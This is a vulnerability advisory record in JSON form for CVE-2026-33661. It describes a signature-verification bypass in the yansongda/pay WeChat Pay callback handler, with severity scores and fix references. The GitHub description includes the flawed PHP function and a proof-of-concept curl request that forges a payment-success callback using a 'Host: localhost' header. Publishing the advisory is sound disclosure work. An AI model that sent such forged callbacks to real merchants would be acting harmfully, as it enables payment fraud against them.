{"id":"CVE-2026-33661","aliases":["CVE-2026-33661","GHSA-q938-ghwv-8gvc"],"related":[],"kind":"vulnerability","state":"published","title":"WeChat Pay callback signature verification bypassed when Host header is localhost","summary":"Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Pay is an open-source payment SDK extension package for various Chinese payment services. Prior to version 3.7.20, the `verify_wechat_sign()` function in `src/Functions.php` unconditionally skips all signature verification when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. Version 3.7.20 fixes the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely.\n\nThis allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.\n\n## Vulnerable Code\n\n**`src/Functions.php` lines 243-246:**\n```php\nfunction verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void\n{\n    // BYPASS: Returns without any signature check if Host header is localhost\n    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {\n        return;  // No signature verified!\n    }\n\n    // ... openssl_verify() only reached when Host != localhost\n    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');\n    $sign = $message->getHeaderLine('Wechatpay-Signature');\n    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');\n}\n```\n\nIn PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled.\n\n## Proof of Concept\n\n```bash\ncurl -X POST https://merchant.example.com/payment/wechat/callback \\\n  -H \"Host: localhost\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Wechatpay-Serial: any\" \\\n  -H \"Wechatpay-Timestamp: 1234567890\" \\\n  -H \"Wechatpay-Nonce: abc\" \\\n  -H \"Wechatpay-Signature: AAAA\" \\\n  -d '{\"id\":\"fake-order\",\"event_type\":\"TRANSACTION.SUCCESS\"}'\n```\n\n`verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid.\n\n## Impact\n\n- **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks\n- **No authentication required**: Pure network attack, zero privileges needed\n- **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Pay es un paquete de extensión de SDK de pago de código abierto para varios servicios de pago chinos. Antes de la versión 3.7.20, la función `verify_wechat_sign()` en `src/Functions.php` omite incondicionalmente toda la verificación de firma cuando la solicitud PSR-7 informa localhost como el host. Un atacante puede explotar esto enviando una solicitud HTTP manipulada al endpoint de callback de WeChat Pay con un encabezado Host: localhost, eludiendo por completo la verificación de firma RSA. Esto permite falsificar notificaciones de éxito de pago falsas de WeChat Pay, lo que podría hacer que las aplicaciones marquen los pedidos como pagados sin un pago real. La versión 3.7.20 corrige el problema.","source":"nvd"}],"published":"2026-03-25T19:30:09.000Z","modified":"2026-06-17T10:37:52.897Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-290"],"affected":[{"ranges":[{"version":"< 3.7.20","status":"affected"}],"vendor":"yansongda","product":"pay","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.7.20"}],"ecosystem":"Packagist","package":"yansongda/pay","purl":"pkg:composer/yansongda/pay","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.7.20"}],"vendor":"yansongda","product":"pay","cpe":"cpe:2.3:a:yansongda:pay:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/yansongda/pay/security/advisories/GHSA-q938-ghwv-8gvc","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/yansongda/pay/commit/26987ebf789f1e7f0a85febb640986ab4289fd7f","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/yansongda/pay/releases/tag/v3.7.20","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33661","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/yansongda/pay","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-27T14:12:47.859Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33661","url":"https://www.cve.org/CVERecord?id=CVE-2026-33661","licence":"CVE Terms of Use","modified":"2026-03-27T20:00:56.285Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-q938-ghwv-8gvc","url":"https://github.com/advisories/GHSA-q938-ghwv-8gvc","licence":"CC-BY-4.0","modified":"2026-03-27T22:17:43.058Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33661","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33661","licence":"Public domain","modified":"2026-06-17T10:37:52.897Z"}],"updatedAt":"2026-11-25T22:59:17.334Z","epss":{"score":0.00566,"percentile":0.48336,"date":"2026-12-01T12:00:22.000Z"}}